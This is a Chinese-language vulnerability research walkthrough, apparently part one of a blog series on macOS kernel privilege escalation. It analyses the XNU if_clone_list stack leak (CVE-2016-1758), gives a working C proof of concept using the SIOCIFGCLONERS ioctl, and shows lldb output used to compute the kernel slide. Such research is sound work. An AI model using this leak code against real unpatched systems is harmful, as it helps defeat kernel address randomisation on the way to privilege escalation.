macOS内核提权：利用CVE-2016-1758获取kernel slide（Part1）
0x001 前言
本文是基于CVE-2016-1758、CVE-2016-1828来讨论一下macOS下的内核提权技术。CVE-2016-1758是一个内核信息泄漏的洞，由于没有严格控制好内核栈数据copy的size，导致可以将额外8个bytes的内核地址泄漏出来，计算得到kernel_slide。CVE-2016-1828则是内核uaf的洞，存在于OSUnserializeBinary函数内，通过一个可控的虚表指针，将执行流劫持到NULL页上作ROP完成提权。
0x002 调试环境
虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54
这里简单说一下环境搭建，在Parallel Desktop虚拟机安装OS X 10.10.5，主机安装KDK 10.10.5 14F27，安装目录是/Library/Developer/KDKs，提供的内核版本、符号、内核扩展都有release、development、debug三种版本。
启动虚拟机，看一下ip
设置启动参数
sudo nvram boot-args="debug=0x141 kext-dev-mode=1 pmuflags=1 -v"
我们这里直接调试realease版本的内核，所以不需要加kcsuffix=development这条参数。要是需要调试development或debug版本的内核，可以从主机安装的KDK包拷贝对应的内核到虚拟机的/System/Library/Kernels目录，再设置kcsuffix参数。
令内核缓存无效，重启
sudo kextcache -invalidate /
sudo reboot
主机打开lldb，引入调试符号
target create /Library/Developer/KDKs/KDK_10.10.5_14F27.kdk/System/Library/Kernels/kernel
虚拟机启动起来卡在开机，并等待调试器接入
kdp-remote连上去
0x003 内核源码分析
获取xnu内核代码
找到/bsd/net/if.c里的if_clone_list方法
/*
* Provide list of interface cloners to userspace.
*/
static int
if_clone_list(int count, int *ret_total, user_addr_t dst)
{
char outbuf[IFNAMSIZ];
struct if_clone *ifc;
int error = 0;
*ret_total = if_cloners_count;
if (dst == USER_ADDR_NULL) {
/* Just asking how many there are. */
return (0);
}
if (count < 0)
return (EINVAL);
count = (if_cloners_count < count) ? if_cloners_count : count;
for (ifc = LIST_FIRST(&if_cloners); ifc != NULL && count != 0;
ifc = LIST_NEXT(ifc, ifc_list), count--, dst += IFNAMSIZ) {
strlcpy(outbuf, ifc->ifc_name, IFNAMSIZ);
error = copyout(outbuf, dst, IFNAMSIZ);
if (error)
break;
}
return (error);
}
IFNAMSIZ长度为16，由于ifc是定义在内核栈上的局部数据，当ifc_name小于outbuf的长度，所以会将未初始化的内核地址拷贝到用户空间，计算得到kernel slide。
ifc_name存放着6个bytes的数据bridge，剩余9个bytes为初始化的数据存在outbuf上。
下面是if_clone_list方法的调用链
soo_ioctl -> soioctl -> ifioctllocked -> ifioctl -> ifioctl_ifclone -> if_clone_list
soo_ioctl方法在socketops结构体中被引用
const struct fileops socketops = {
DTYPE_SOCKET,
soo_read,
soo_write,
soo_ioctl,
soo_select,
soo_close,
soo_kqfilter,
soo_drain
};
要使得ifioctl调用ifioctl_ifclone，要传进cmd参数SIOCIFGCLONERS，类似这样ioctl(sockfd,SIOCIFGCLONERS,&ifcr)
int
ifioctl(struct socket *so, u_long cmd, caddr_t data, struct proc *p)
{
char ifname[IFNAMSIZ + 1];
struct ifnet *ifp = NULL;
struct ifstat *ifs = NULL;
int error = 0;
bzero(ifname, sizeof (ifname));
/*
* ioctls which don't require ifp, or ifreq ioctls
*/
switch (cmd) {
case OSIOCGIFCONF32: /* struct ifconf32 */
case SIOCGIFCONF32: /* struct ifconf32 */
case SIOCGIFCONF64: /* struct ifconf64 */
case OSIOCGIFCONF64: /* struct ifconf64 */
error = ifioctl_ifconf(cmd, data);
goto done;
case SIOCIFGCLONERS32: /* struct if_clonereq32 */
case SIOCIFGCLONERS64: /* struct if_clonereq64 */
error = ifioctl_ifclone(cmd, data);
goto done;
case SIOCGIFAGENTDATA32: /* struct netagent_req32 */
case SIOCGIFAGENTDATA64: /* struct netagent_req64 */
error = netagent_ioctl(cmd, data);
goto done;
查看ifioctl_ifclone方法，要使用if_clonereq结构作为if_clone_list的调用参数
static __attribute__((noinline)) int
ifioctl_ifclone(u_long cmd, caddr_t data)
{
int error = 0;
switch (cmd) {
case SIOCIFGCLONERS32: { /* struct if_clonereq32 */
struct if_clonereq32 ifcr;
bcopy(data, &ifcr, sizeof (ifcr));
error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
CAST_USER_ADDR_T(ifcr.ifcru_buffer));
bcopy(&ifcr, data, sizeof (ifcr));
break;
}
case SIOCIFGCLONERS64: { /* struct if_clonereq64 */
struct if_clonereq64 ifcr;
bcopy(data, &ifcr, sizeof (ifcr));
error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
ifcr.ifcru_buffer);
bcopy(&ifcr, data, sizeof (ifcr));
break;
}
default:
VERIFY(0);
/* NOTREACHED */
}
return (error);
}
最后，我们分析得到这样一段泄漏代码
// CVE-2016-1758 kernel info leak
#include <net/if.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
char buffer[IFNAMSIZ];
struct if_clonereq ifcr = {
.ifcr_count = 1,
.ifcr_buffer = buffer,
};
int main(){
int sockfd = socket(AF_INET,SOCK_STREAM,0);
int err = ioctl(sockfd,SIOCIFGCLONERS,&ifcr);
printf("%sn",buffer);
printf("0x%016llxn",*(uint64_t *)buffer);
printf("0x%016llxn",*(uint64_t *)(buffer+8));
}
0x004 Info leak: CVE-2016-1758
回到调试器，在if_clone_list方法下断点
kernel was compiled with optimization - stepping may behave oddly; variables may not be available. │R15 FFFFFF7F981F5310 | .S...... | => 0xF>
Process 1 stopped │CS 0000 DS 0000
* thread #2, name = '0xffffff801e134e28', queue = '0x0', stop reason = signal SIGSTOP │ES n/a FS 0000
frame #0: 0xffffff801790b868 kernel`kdp_register_send_receive(send=<unavailable>, receive=<unavailable>) at kdp_│GS 0000 SS n/a
udp.c:463 [opt] │
Target 0: (kernel) stopped. │
(lldb) break set -name if_clone_list │
Breakpoint 1: 2 locations. │
(lldb) c
在虚拟机内安装xcode-command-tools
xcode-select --install
编译泄漏代码后直接运行，调试器断在ifioctl_ifclone方法
Loading 1 kext modules warning: Can't find binary/dSYM for com.apple.filesystems.smbfs (CD5CEA75-1160-31C9-BAAA-B1373623BAE3)
. done.
Process 1 stopped
* thread #23, name = '0xffffff801ea56c50', queue = '0x0', stop reason = breakpoint 1.1
frame #0: 0xffffff8017b9ac6d kernel`ifioctl_ifclone [inlined] if_clone_list(count=1, ret_total=0x0000000100000000, dst=4465025088) at if.c:672 [opt]
Target 0: (kernel) stopped.
(lldb) b
查看栈回溯，调用过程大体上与我们分析的一致
(lldb) bt │RDX 0000000000000010 | ........ |
* thread #23, name = '0xffffff801ea56c50', queue = '0x0', stop reason = breakpoint 1.1 │RCX 0000000000000000 | ........ |
* frame #0: 0xffffff8017b9ac6d kernel`ifioctl_ifclone [inlined] if_clone_list(count=1, ret_total=0x000000010000000│R8 FFFFFF80221D89D8 | ...".... |
0, dst=4465025088) at if.c:672 [opt] │R9 0000000000000000 | ........ |
frame #1: 0xffffff8017b9ac6d kernel`ifioctl_ifclone(cmd=<unavailable>, data="") at if.c:1482 [opt] │R10 0000000000000000 | ........ |
frame #2: 0xffffff8017b9958f kernel`ifioctl(so=<unavailable>, cmd=3222301057, data="", p=0xffffff8020e331a0) at │R11 0000000000000206 | ........ |
if.c:1732 [opt] │R12 00000000C0106981 | .i...... |
frame #3: 0xffffff8017b99cbf kernel`ifioctllocked(so=0xffffff8026c69680, cmd=<unavailable>, data=<unavailable>, │R13 0000000000000001 | ........ |
p=<unavailable>) at if.c:2515 [opt] │R14 FFFFFF8018112F48 | H/...... | => `__>
frame #4: 0xffffff8017df1f0a kernel`soioctl(so=0xffffff8026c69680, cmd=<unavailable>, data="", p=0xffffff8020e33│R15 000000010A22E040 | @."..... |
1a0) at sys_socket.c:279 [opt] │CS 0000 DS 0000
frame #5: 0xffffff8017dadddb kernel`fo_ioctl(fp=0xffffff80221d89d8, com=3222301057, data="", ctx=0xffffff8077453│ES n/a FS FFFF0000
e88) at kern_descrip.c:5687 [opt] │GS 77450000 SS n/a
frame #6: 0xffffff8017decd64 kernel`ioctl(p=0xffffff8020e331a0, uap=0xffffff801e3477a0, retval=<unavailable>) at│
sys_generic.c:911 [opt] │
frame #7: 0xffffff8017e4b376 kernel`unix_syscall64(state=0
查看源码，我们选择断在if.c:1484这行，这里刚好是调用完if_clone_list的返回
(lldb) b if.c:1484
继续跑起来，现在断在bcopy(&ifcr, data, sizeof (ifcr));这行以前，ifcr包含着未初始化的内核栈数据
0xffffff8017b9ae84 <+612>: jmp 0xffffff8017b9aea5 ; <+645> at if.c:1484
0xffffff8017b9ae86 <+614>: xorl %ebx, %ebx
0xffffff8017b9ae88 <+616>: leaq -0x60(%rbp), %rdi
0xffffff8017b9ae8c <+620>: movl $0x10, %edx
-> 0xffffff8017b9ae91 <+625>: int3
0xffffff8017b9ae92 <+626>: movl -0x68(%rbp), %esi
0xffffff8017b9ae95 <+629>: callq 0xffffff801770e080 ; bcopy
0xffffff8017b9ae9a <+634>: leaq 0x5780a7(%rip), %r14 ; __stack_chk_guard
0xffffff8017b9aea1 <+641>: jmp 0xffffff8017b9aeb7 ; <+663> at if.c:1475
rdi指向ifcr，可以看到0xffffff801793487f便是我们可以泄漏出来的内核地址，而该地址的前方便是bridge字符串
查看该地址的汇编代码
(lldb) x/10i 0xffffff801793487f │R12 FFFFFF8077483C80 | .<Hw.... | => "br>
0xffffff801793487f: 44 89 f0 movl %r14d, %eax │R13 0000000000000000 | ........ |
0xffffff8017934882: 48 83 c4 08 addq $0x8, %rsp │R14 FFFFFF8018064208 | .B...... | => 0xF>
0xffffff8017934886: 5b popq %rbx │R15 000000010C0AB050 | P....... |
0xffffff8017934887: 41 5e popq %r14 │CS 0000 DS 0000
0xffffff8017934889: 41 5f popq %r15 │ES n/a FS FFFF0000
0xffffff801793488b: 5d popq %rbp │GS 77480000 SS n/a
0xffffff801793488c: c3 retq │
0xffffff801793488d: 0f 1f 00 nopl (%rax) │
0xffffff8017934890: 55 pushq %rbp │
0xffffff8017934891: 48 89 e5 movq %rsp, %rbp
内核继续跑起来，再次确认我们找的地址没问题
利用librop的代码(已经上传到个人github上)找到对应内核文件的地址0xFFFFFF800033487F，用泄漏地址减去该地址便是kernel_slide。
每次重启后kernel_slide都会变，需要重新计算得到，本次kernel_slide = 0x17600000。
由于篇幅问题，关于CVE-2016-1828的分析以及做ROP提权的技术会放到下一篇文章中讲解。